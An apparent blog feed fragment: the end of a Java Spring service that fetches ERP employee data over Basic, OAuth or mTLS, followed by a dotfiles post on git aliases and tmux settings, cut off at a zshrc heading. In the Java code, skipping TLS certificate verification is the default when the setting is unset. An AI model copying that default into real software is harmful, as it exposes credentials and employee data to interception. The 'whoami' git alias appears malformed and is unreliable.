<span class="kn">import</span> <span class="nn">java.util.List</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Map</span><span class="o">;</span>

<span class="nd">@Service</span>
<span class="nd">@RequiredArgsConstructor</span>
<span class="nd">@Slf4j</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ERPEmployeeReaderServiceV2Impl</span> <span class="kd">implements</span> <span class="nc">ERPEmployeeReaderServiceV2</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">int</span> <span class="no">CONNECT_TIMEOUT_MS</span> <span class="o">=</span> <span class="mi">15_000</span><span class="o">;</span>
    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">int</span> <span class="no">READ_TIMEOUT_MS</span> <span class="o">=</span> <span class="mi">60_000</span><span class="o">;</span>

    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">MtlsRestTemplateFactory</span> <span class="n">mtlsRestTemplateFactory</span><span class="o">;</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">Object</span> <span class="nf">fetchEmployeeData</span><span class="o">(</span><span class="nc">ERPEmployeeFetchRequestV2</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">validate</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>
        <span class="nc">AuthType</span> <span class="n">authType</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getAuthType</span><span class="o">()</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">?</span> <span class="nc">AuthType</span><span class="o">.</span><span class="na">NONE</span> <span class="o">:</span> <span class="n">request</span><span class="o">.</span><span class="na">getAuthType</span><span class="o">();</span>
        <span class="nc">RestTemplate</span> <span class="n">restTemplate</span> <span class="o">=</span> <span class="n">buildRestTemplate</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>

        <span class="nc">String</span> <span class="n">accessToken</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">authType</span> <span class="o">==</span> <span class="nc">AuthType</span><span class="o">.</span><span class="na">OAUTH_CLIENT_CREDENTIALS</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">accessToken</span> <span class="o">=</span> <span class="n">requestAccessToken</span><span class="o">(</span><span class="n">restTemplate</span><span class="o">,</span> <span class="n">request</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="nc">JsonNode</span> <span class="n">body</span> <span class="o">=</span> <span class="n">requestEmployeeData</span><span class="o">(</span><span class="n">restTemplate</span><span class="o">,</span> <span class="n">request</span><span class="o">,</span> <span class="n">authType</span><span class="o">,</span> <span class="n">accessToken</span><span class="o">);</span>
        <span class="k">return</span> <span class="nf">applyKeyMapping</span><span class="o">(</span><span class="n">body</span><span class="o">,</span> <span class="n">request</span><span class="o">.</span><span class="na">getKeyMapping</span><span class="o">());</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">JsonNode</span> <span class="nf">applyKeyMapping</span><span class="o">(</span><span class="nc">JsonNode</span> <span class="n">node</span><span class="o">,</span> <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">mapping</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">node</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">||</span> <span class="n">mapping</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">||</span> <span class="n">mapping</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">())</span> <span class="k">return</span> <span class="n">node</span><span class="o">;</span>
        <span class="k">return</span> <span class="nf">renameKeys</span><span class="o">(</span><span class="n">node</span><span class="o">,</span> <span class="n">mapping</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">JsonNode</span> <span class="nf">renameKeys</span><span class="o">(</span><span class="nc">JsonNode</span> <span class="n">node</span><span class="o">,</span> <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">mapping</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">node</span><span class="o">.</span><span class="na">isArray</span><span class="o">())</span> <span class="o">{</span>
            <span class="nc">ArrayNode</span> <span class="n">out</span> <span class="o">=</span> <span class="nc">JsonNodeFactory</span><span class="o">.</span><span class="na">instance</span><span class="o">.</span><span class="na">arrayNode</span><span class="o">();</span>
            <span class="k">for</span> <span class="o">(</span><span class="nc">JsonNode</span> <span class="n">el</span> <span class="o">:</span> <span class="n">node</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">out</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">renameKeys</span><span class="o">(</span><span class="n">el</span><span class="o">,</span> <span class="n">mapping</span><span class="o">));</span>
            <span class="o">}</span>
            <span class="k">return</span> <span class="n">out</span><span class="o">;</span>
        <span class="o">}</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">node</span><span class="o">.</span><span class="na">isObject</span><span class="o">())</span> <span class="o">{</span>
            <span class="nc">ObjectNode</span> <span class="n">out</span> <span class="o">=</span> <span class="nc">JsonNodeFactory</span><span class="o">.</span><span class="na">instance</span><span class="o">.</span><span class="na">objectNode</span><span class="o">();</span>
            <span class="c1">// 1. Emit fields in keyMapping order</span>
            <span class="k">for</span> <span class="o">(</span><span class="nc">Map</span><span class="o">.</span><span class="na">Entry</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">m</span> <span class="o">:</span> <span class="n">mapping</span><span class="o">.</span><span class="na">entrySet</span><span class="o">())</span> <span class="o">{</span>
                <span class="nc">JsonNode</span> <span class="n">value</span> <span class="o">=</span> <span class="n">node</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">m</span><span class="o">.</span><span class="na">getKey</span><span class="o">());</span>
                <span class="k">if</span> <span class="o">(</span><span class="n">value</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
                    <span class="n">out</span><span class="o">.</span><span class="na">set</span><span class="o">(</span><span class="n">m</span><span class="o">.</span><span class="na">getValue</span><span class="o">(),</span> <span class="n">renameKeys</span><span class="o">(</span><span class="n">value</span><span class="o">,</span> <span class="n">mapping</span><span class="o">));</span>
                <span class="o">}</span>
            <span class="o">}</span>
            <span class="c1">// 2. Append unmapped source fields (preserve their original order)</span>
            <span class="n">node</span><span class="o">.</span><span class="na">fields</span><span class="o">().</span><span class="na">forEachRemaining</span><span class="o">(</span><span class="n">entry</span> <span class="o">-&gt;</span> <span class="o">{</span>
                <span class="k">if</span> <span class="o">(!</span><span class="n">mapping</span><span class="o">.</span><span class="na">containsKey</span><span class="o">(</span><span class="n">entry</span><span class="o">.</span><span class="na">getKey</span><span class="o">()))</span> <span class="o">{</span>
                    <span class="n">out</span><span class="o">.</span><span class="na">set</span><span class="o">(</span><span class="n">entry</span><span class="o">.</span><span class="na">getKey</span><span class="o">(),</span> <span class="n">renameKeys</span><span class="o">(</span><span class="n">entry</span><span class="o">.</span><span class="na">getValue</span><span class="o">(),</span> <span class="n">mapping</span><span class="o">));</span>
                <span class="o">}</span>
            <span class="o">});</span>
            <span class="k">return</span> <span class="n">out</span><span class="o">;</span>
        <span class="o">}</span>
        <span class="k">return</span> <span class="n">node</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="kt">void</span> <span class="nf">validate</span><span class="o">(</span><span class="nc">ERPEmployeeFetchRequestV2</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">request</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalArgumentException</span><span class="o">(</span><span class="s">"Request body is required"</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">isBlank</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getEmployeeUrl</span><span class="o">()))</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalArgumentException</span><span class="o">(</span><span class="s">"employeeUrl is required"</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="nc">AuthType</span> <span class="n">authType</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getAuthType</span><span class="o">()</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">?</span> <span class="nc">AuthType</span><span class="o">.</span><span class="na">NONE</span> <span class="o">:</span> <span class="n">request</span><span class="o">.</span><span class="na">getAuthType</span><span class="o">();</span>
        <span class="k">switch</span> <span class="o">(</span><span class="n">authType</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">case</span> <span class="nl">BASIC:</span>
                <span class="k">if</span> <span class="o">(</span><span class="n">isBlank</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getUsername</span><span class="o">())</span> <span class="o">||</span> <span class="n">isBlank</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getPassword</span><span class="o">()))</span> <span class="o">{</span>
                    <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalArgumentException</span><span class="o">(</span><span class="s">"username and password are required for BASIC auth"</span><span class="o">);</span>
                <span class="o">}</span>
                <span class="k">break</span><span class="o">;</span>
            <span class="k">case</span> <span class="nl">OAUTH_CLIENT_CREDENTIALS:</span>
                <span class="k">if</span> <span class="o">(</span><span class="n">isBlank</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getClientId</span><span class="o">())</span> <span class="o">||</span> <span class="n">isBlank</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getClientSecret</span><span class="o">()))</span> <span class="o">{</span>
                    <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalArgumentException</span><span class="o">(</span><span class="s">"clientId and clientSecret are required for OAUTH_CLIENT_CREDENTIALS"</span><span class="o">);</span>
                <span class="o">}</span>
                <span class="k">if</span> <span class="o">(</span><span class="n">isBlank</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getTokenUrl</span><span class="o">()))</span> <span class="o">{</span>
                    <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalArgumentException</span><span class="o">(</span><span class="s">"tokenUrl is required for OAUTH_CLIENT_CREDENTIALS"</span><span class="o">);</span>
                <span class="o">}</span>
                <span class="k">break</span><span class="o">;</span>
            <span class="k">case</span> <span class="nl">NONE:</span>
            <span class="k">default</span><span class="o">:</span>
                <span class="k">break</span><span class="o">;</span>
        <span class="o">}</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">isUseMtls</span><span class="o">())</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">isBlank</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getCertPath</span><span class="o">())</span> <span class="o">||</span> <span class="n">isBlank</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getKeyPath</span><span class="o">()))</span> <span class="o">{</span>
                <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalArgumentException</span><span class="o">(</span><span class="s">"certPath and keyPath are required when useMtls=true"</span><span class="o">);</span>
            <span class="o">}</span>
        <span class="o">}</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">RestTemplate</span> <span class="nf">buildRestTemplate</span><span class="o">(</span><span class="nc">ERPEmployeeFetchRequestV2</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">isUseMtls</span><span class="o">())</span> <span class="o">{</span>
            <span class="kt">boolean</span> <span class="n">skipVerify</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getInsecureSkipTlsVerify</span><span class="o">()</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">||</span> <span class="n">request</span><span class="o">.</span><span class="na">getInsecureSkipTlsVerify</span><span class="o">();</span>
            <span class="k">return</span> <span class="n">mtlsRestTemplateFactory</span><span class="o">.</span><span class="na">build</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getCertPath</span><span class="o">(),</span> <span class="n">request</span><span class="o">.</span><span class="na">getKeyPath</span><span class="o">(),</span> <span class="n">skipVerify</span><span class="o">,</span>
                    <span class="no">CONNECT_TIMEOUT_MS</span><span class="o">,</span> <span class="no">READ_TIMEOUT_MS</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="nc">SimpleClientHttpRequestFactory</span> <span class="n">factory</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">SimpleClientHttpRequestFactory</span><span class="o">();</span>
        <span class="n">factory</span><span class="o">.</span><span class="na">setConnectTimeout</span><span class="o">(</span><span class="no">CONNECT_TIMEOUT_MS</span><span class="o">);</span>
        <span class="n">factory</span><span class="o">.</span><span class="na">setReadTimeout</span><span class="o">(</span><span class="no">READ_TIMEOUT_MS</span><span class="o">);</span>
        <span class="k">return</span> <span class="k">new</span> <span class="nf">RestTemplate</span><span class="o">(</span><span class="n">factory</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">String</span> <span class="nf">requestAccessToken</span><span class="o">(</span><span class="nc">RestTemplate</span> <span class="n">restTemplate</span><span class="o">,</span> <span class="nc">ERPEmployeeFetchRequestV2</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">HttpMethod</span> <span class="n">method</span> <span class="o">=</span> <span class="n">resolveMethod</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getTokenMethod</span><span class="o">(),</span> <span class="nc">HttpMethod</span><span class="o">.</span><span class="na">POST</span><span class="o">);</span>

        <span class="nc">HttpHeaders</span> <span class="n">headers</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HttpHeaders</span><span class="o">();</span>
        <span class="n">headers</span><span class="o">.</span><span class="na">setBasicAuth</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getClientId</span><span class="o">(),</span> <span class="n">request</span><span class="o">.</span><span class="na">getClientSecret</span><span class="o">());</span>
        <span class="n">headers</span><span class="o">.</span><span class="na">setAccept</span><span class="o">(</span><span class="nc">List</span><span class="o">.</span><span class="na">of</span><span class="o">(</span><span class="nc">MediaType</span><span class="o">.</span><span class="na">APPLICATION_JSON</span><span class="o">));</span>

        <span class="nc">HttpEntity</span><span class="o">&lt;?&gt;</span> <span class="n">entity</span><span class="o">;</span>
        <span class="nc">String</span> <span class="n">url</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getTokenUrl</span><span class="o">();</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">method</span> <span class="o">==</span> <span class="nc">HttpMethod</span><span class="o">.</span><span class="na">GET</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">String</span> <span class="n">separator</span> <span class="o">=</span> <span class="n">url</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"?"</span><span class="o">)</span> <span class="o">?</span> <span class="s">"&amp;"</span> <span class="o">:</span> <span class="s">"?"</span><span class="o">;</span>
            <span class="n">url</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">separator</span> <span class="o">+</span> <span class="s">"grant_type=client_credentials"</span><span class="o">;</span>
            <span class="n">entity</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HttpEntity</span><span class="o">&lt;&gt;(</span><span class="n">headers</span><span class="o">);</span>
        <span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
            <span class="n">headers</span><span class="o">.</span><span class="na">setContentType</span><span class="o">(</span><span class="nc">MediaType</span><span class="o">.</span><span class="na">APPLICATION_FORM_URLENCODED</span><span class="o">);</span>
            <span class="nc">MultiValueMap</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">body</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">LinkedMultiValueMap</span><span class="o">&lt;&gt;();</span>
            <span class="n">body</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="s">"grant_type"</span><span class="o">,</span> <span class="s">"client_credentials"</span><span class="o">);</span>
            <span class="n">entity</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HttpEntity</span><span class="o">&lt;&gt;(</span><span class="n">body</span><span class="o">,</span> <span class="n">headers</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="n">log</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"Requesting access token via {} {}"</span><span class="o">,</span> <span class="n">method</span><span class="o">,</span> <span class="n">url</span><span class="o">);</span>
        <span class="nc">ResponseEntity</span><span class="o">&lt;</span><span class="nc">ERPOAuthTokenResponse</span><span class="o">&gt;</span> <span class="n">response</span> <span class="o">=</span> <span class="n">restTemplate</span><span class="o">.</span><span class="na">exchange</span><span class="o">(</span>
                <span class="n">url</span><span class="o">,</span> <span class="n">method</span><span class="o">,</span> <span class="n">entity</span><span class="o">,</span> <span class="nc">ERPOAuthTokenResponse</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>

        <span class="nc">ERPOAuthTokenResponse</span> <span class="n">body</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="na">getBody</span><span class="o">();</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">body</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">||</span> <span class="n">isBlank</span><span class="o">(</span><span class="n">body</span><span class="o">.</span><span class="na">getAccessToken</span><span class="o">()))</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Access token not returned by token endpoint"</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="n">log</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"Access token received (type={}, expiresIn={})"</span><span class="o">,</span> <span class="n">body</span><span class="o">.</span><span class="na">getTokenType</span><span class="o">(),</span> <span class="n">body</span><span class="o">.</span><span class="na">getExpiresIn</span><span class="o">());</span>
        <span class="k">return</span> <span class="n">body</span><span class="o">.</span><span class="na">getAccessToken</span><span class="o">();</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">JsonNode</span> <span class="nf">requestEmployeeData</span><span class="o">(</span><span class="nc">RestTemplate</span> <span class="n">restTemplate</span><span class="o">,</span> <span class="nc">ERPEmployeeFetchRequestV2</span> <span class="n">request</span><span class="o">,</span>
                                         <span class="nc">AuthType</span> <span class="n">authType</span><span class="o">,</span> <span class="nc">String</span> <span class="n">accessToken</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">HttpMethod</span> <span class="n">method</span> <span class="o">=</span> <span class="n">resolveMethod</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getEmployeeMethod</span><span class="o">(),</span> <span class="nc">HttpMethod</span><span class="o">.</span><span class="na">GET</span><span class="o">);</span>

        <span class="nc">HttpHeaders</span> <span class="n">headers</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HttpHeaders</span><span class="o">();</span>
        <span class="n">headers</span><span class="o">.</span><span class="na">setAccept</span><span class="o">(</span><span class="nc">List</span><span class="o">.</span><span class="na">of</span><span class="o">(</span><span class="nc">MediaType</span><span class="o">.</span><span class="na">APPLICATION_JSON</span><span class="o">));</span>
        <span class="k">switch</span> <span class="o">(</span><span class="n">authType</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">case</span> <span class="nl">BASIC:</span>
                <span class="n">headers</span><span class="o">.</span><span class="na">setBasicAuth</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getUsername</span><span class="o">(),</span> <span class="n">request</span><span class="o">.</span><span class="na">getPassword</span><span class="o">());</span>
                <span class="k">break</span><span class="o">;</span>
            <span class="k">case</span> <span class="nl">OAUTH_CLIENT_CREDENTIALS:</span>
                <span class="n">headers</span><span class="o">.</span><span class="na">setBearerAuth</span><span class="o">(</span><span class="n">accessToken</span><span class="o">);</span>
                <span class="k">break</span><span class="o">;</span>
            <span class="k">case</span> <span class="nl">NONE:</span>
            <span class="k">default</span><span class="o">:</span>
                <span class="k">break</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="nc">HttpEntity</span><span class="o">&lt;</span><span class="nc">Void</span><span class="o">&gt;</span> <span class="n">entity</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HttpEntity</span><span class="o">&lt;&gt;(</span><span class="n">headers</span><span class="o">);</span>
        <span class="n">log</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"Requesting employee data via {} {} (auth={}, mTLS={})"</span><span class="o">,</span>
                <span class="n">method</span><span class="o">,</span> <span class="n">request</span><span class="o">.</span><span class="na">getEmployeeUrl</span><span class="o">(),</span> <span class="n">authType</span><span class="o">,</span> <span class="n">request</span><span class="o">.</span><span class="na">isUseMtls</span><span class="o">());</span>
        <span class="nc">ResponseEntity</span><span class="o">&lt;</span><span class="nc">JsonNode</span><span class="o">&gt;</span> <span class="n">response</span> <span class="o">=</span> <span class="n">restTemplate</span><span class="o">.</span><span class="na">exchange</span><span class="o">(</span>
                <span class="n">request</span><span class="o">.</span><span class="na">getEmployeeUrl</span><span class="o">(),</span> <span class="n">method</span><span class="o">,</span> <span class="n">entity</span><span class="o">,</span> <span class="nc">JsonNode</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
        <span class="n">log</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"Employee response status: {}"</span><span class="o">,</span> <span class="n">response</span><span class="o">.</span><span class="na">getStatusCode</span><span class="o">());</span>
        <span class="k">return</span> <span class="n">response</span><span class="o">.</span><span class="na">getBody</span><span class="o">();</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">HttpMethod</span> <span class="nf">resolveMethod</span><span class="o">(</span><span class="nc">String</span> <span class="n">method</span><span class="o">,</span> <span class="nc">HttpMethod</span> <span class="n">fallback</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">isBlank</span><span class="o">(</span><span class="n">method</span><span class="o">))</span> <span class="k">return</span> <span class="n">fallback</span><span class="o">;</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="k">return</span> <span class="nc">HttpMethod</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="n">method</span><span class="o">.</span><span class="na">trim</span><span class="o">().</span><span class="na">toUpperCase</span><span class="o">());</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IllegalArgumentException</span> <span class="n">ex</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalArgumentException</span><span class="o">(</span><span class="s">"Unsupported HTTP method: "</span> <span class="o">+</span> <span class="n">method</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="kt">boolean</span> <span class="nf">isBlank</span><span class="o">(</span><span class="nc">String</span> <span class="n">value</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">return</span> <span class="n">value</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">||</span> <span class="n">value</span><span class="o">.</span><span class="na">isBlank</span><span class="o">();</span>
    <span class="o">}</span>
<span class="o">}</span></code></pre></figure>


</details>]]></content><author><name>திலீப் கோனா</name></author><category term="tech" /><summary type="html"><![CDATA[1. TLS vs mTLS vs Basic — what each one actually does]]></summary></entry><entry><title type="html">My dotfiles — what’s in ~/.dotfiles and why</title><link href="https://dilipgona.is-a.dev/my-dotfiles.html" rel="alternate" type="text/html" title="My dotfiles — what’s in ~/.dotfiles and why" /><published>2026-03-25T00:00:00+00:00</published><updated>2026-03-25T00:00:00+00:00</updated><id>https://dilipgona.is-a.dev/my-dotfiles</id><content type="html" xml:base="https://dilipgona.is-a.dev/my-dotfiles.html"><![CDATA[<p>I keep everything that customises my machine inside a single folder: <code class="language-plaintext highlighter-rouge">~/.dotfiles</code>. Nothing in there is exotic, but every file is the result of “I got annoyed once and fixed it.” This post is mostly a tour, written so future-me remembers <em>why</em> the settings are what they are.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/.dotfiles
├── .gitconfig
├── .gitignore
├── .ssh
├── .tmux.conf
├── zshrc
├── vimrc/
│   ├── idea/        # IdeaVim config
│   └── nvim/        # Neovim config (symlinked into ~/.config/nvim)
└── .config/
    ├── alacritty/
    ├── wezterm/
    ├── karabiner/
    ├── coc/
    └── Code/
</code></pre></div></div>

<p>Two important details about the layout:</p>

<ol>
  <li>The folder is a <strong>git repo</strong> (note the <code class="language-plaintext highlighter-rouge">.git</code> and <code class="language-plaintext highlighter-rouge">.gitignore</code>). That’s the whole point — I can clone it on a new machine and symlink everything into <code class="language-plaintext highlighter-rouge">$HOME</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">.config/nvim</code> is a <strong>symlink</strong> back to <code class="language-plaintext highlighter-rouge">vimrc/nvim</code>. That way I can keep all my editor configs together under <code class="language-plaintext highlighter-rouge">vimrc/</code> (alongside the IntelliJ IdeaVim one) and still let Neovim find it at the path it expects.</li>
</ol>

<hr />

<h2 id="1-gitconfig--switching-identity-in-one-alias">1. <code class="language-plaintext highlighter-rouge">.gitconfig</code> — switching identity in one alias</h2>

<p>I have two git identities: a personal one and a work one. Forgetting to switch is how you end up committing personal-email commits inside a company repo. So:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[alias]</span>
    <span class="py">ci-personal</span> <span class="p">=</span> <span class="s">"!f() { git config user.name 'my-personal-handle'; </span><span class="se">\
</span><span class="s">                          git config user.email 'personal@example.com'; }; f"</span>
    <span class="py">ci-office</span>   <span class="p">=</span> <span class="s">"!f() { git config user.name 'my-work-handle'; </span><span class="se">\
</span><span class="s">                          git config user.email 'work@example.com'; }; f"</span>
    <span class="py">whoami</span>      <span class="p">=</span> <span class="s">git whoami config user.name &amp;&amp; git config user.email</span>

<span class="nn">[init]</span>
    <span class="py">defaultBranch</span> <span class="p">=</span> <span class="s">main</span>
</code></pre></div></div>

<p>First thing I do inside a freshly cloned repo: <code class="language-plaintext highlighter-rouge">git ci-personal</code> or <code class="language-plaintext highlighter-rouge">git ci-office</code>. Then <code class="language-plaintext highlighter-rouge">git whoami</code> to confirm. It writes to that repo’s local <code class="language-plaintext highlighter-rouge">.git/config</code>, not the global one — so each repo remembers who I am.</p>

<p><code class="language-plaintext highlighter-rouge">defaultBranch = main</code> just stops <code class="language-plaintext highlighter-rouge">git init</code> from creating a <code class="language-plaintext highlighter-rouge">master</code> branch I’ll have to rename ten seconds later.</p>

<hr />

<h2 id="2-tmuxconf--the-few-things-that-make-tmux-feel-like-home">2. <code class="language-plaintext highlighter-rouge">.tmux.conf</code> — the few things that make tmux feel like home</h2>

<p>The full file is ~50 lines. The decisions that actually matter:</p>

<pre><code class="language-tmux">unbind C-b
set-option -g prefix C-a
bind-key C-a send-prefix
</code></pre>

<p>I moved the prefix from <code class="language-plaintext highlighter-rouge">C-b</code> to <code class="language-plaintext highlighter-rouge">C-a</code> because <code class="language-plaintext highlighter-rouge">C-b</code> collides with “page up” in less/vim/man-pages. <code class="language-plaintext highlighter-rouge">C-a</code> only collides with “go to start of line” in shell — and I rarely need that inside a tmux pane.</p>

<pre><code class="language-tmux">set -g base-index 1
set -g pane-base-index 1
</code></pre>

<p>Windows and panes count from <code class="language-plaintext highlighter-rouge">1</code> instead of <code class="language-plaintext highlighter-rouge">0</code>. The prefix-then-number motion (<code class="language-plaintext highlighter-rouge">C-a 1</code>, <code class="language-plaintext highlighter-rouge">C-a 2</code>) maps directly to the number row of the keyboard, where <code class="language-plaintext highlighter-rouge">1</code> is the first key. Starting at <code class="language-plaintext highlighter-rouge">0</code> means the first window is on the <em>second</em> key, which my hand never learns.</p>

<pre><code class="language-tmux">bind '"' split-window -v -c "#{pane_current_path}"
bind % split-window -h -c "#{pane_current_path}"
bind c new-window -c "#{pane_current_path}"
</code></pre>

<p>By default, tmux splits start in your home directory. That’s almost never what I want — I’m splitting because I want to run a second command <em>here</em>. <code class="language-plaintext highlighter-rouge">#{pane_current_path}</code> makes the new pane inherit the current one’s directory.</p>

<pre><code class="language-tmux">setw -g mode-keys vi
bind-key -T copy-mode-vi y send-keys -X copy-pipe-and-cancel "pbcopy"
bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel "pbcopy"
</code></pre>

<p>This is the one I’d miss most if it disappeared. Press prefix + <code class="language-plaintext highlighter-rouge">[</code> to enter copy mode, navigate with <code class="language-plaintext highlighter-rouge">hjkl</code>, <code class="language-plaintext highlighter-rouge">v</code> to start selection, <code class="language-plaintext highlighter-rouge">y</code> to copy — and the selection lands in the macOS system clipboard via <code class="language-plaintext highlighter-rouge">pbcopy</code>. No <code class="language-plaintext highlighter-rouge">Cmd-C</code>, no losing my mouse position, no terminal weirdness with multi-pane copy.</p>

<pre><code class="language-tmux">bind h select-pane -L
bind j select-pane -D
bind k select-pane -U
bind l select-pane -R
bind -r H resize-pane -L 5
bind -r J resize-pane -D 5
bind -r K resize-pane -U 5
bind -r L resize-pane -R 5
</code></pre>

<p>Pane navigation in vim direction (lowercase), pane resizing in shifted vim direction (uppercase). The <code class="language-plaintext highlighter-rouge">-r</code> on the resize bindings means “repeatable” — I can press prefix once, then mash <code class="language-plaintext highlighter-rouge">H</code> four times in a row, instead of pressing the prefix between each.</p>

<hr />

<h2 id="3-zshrc--the-boring-half-shell--language-toolchain">3. <code class="language-plaintext highlighter-rouge">zshrc</code> — the boring half: shell + language toolchain</h2>

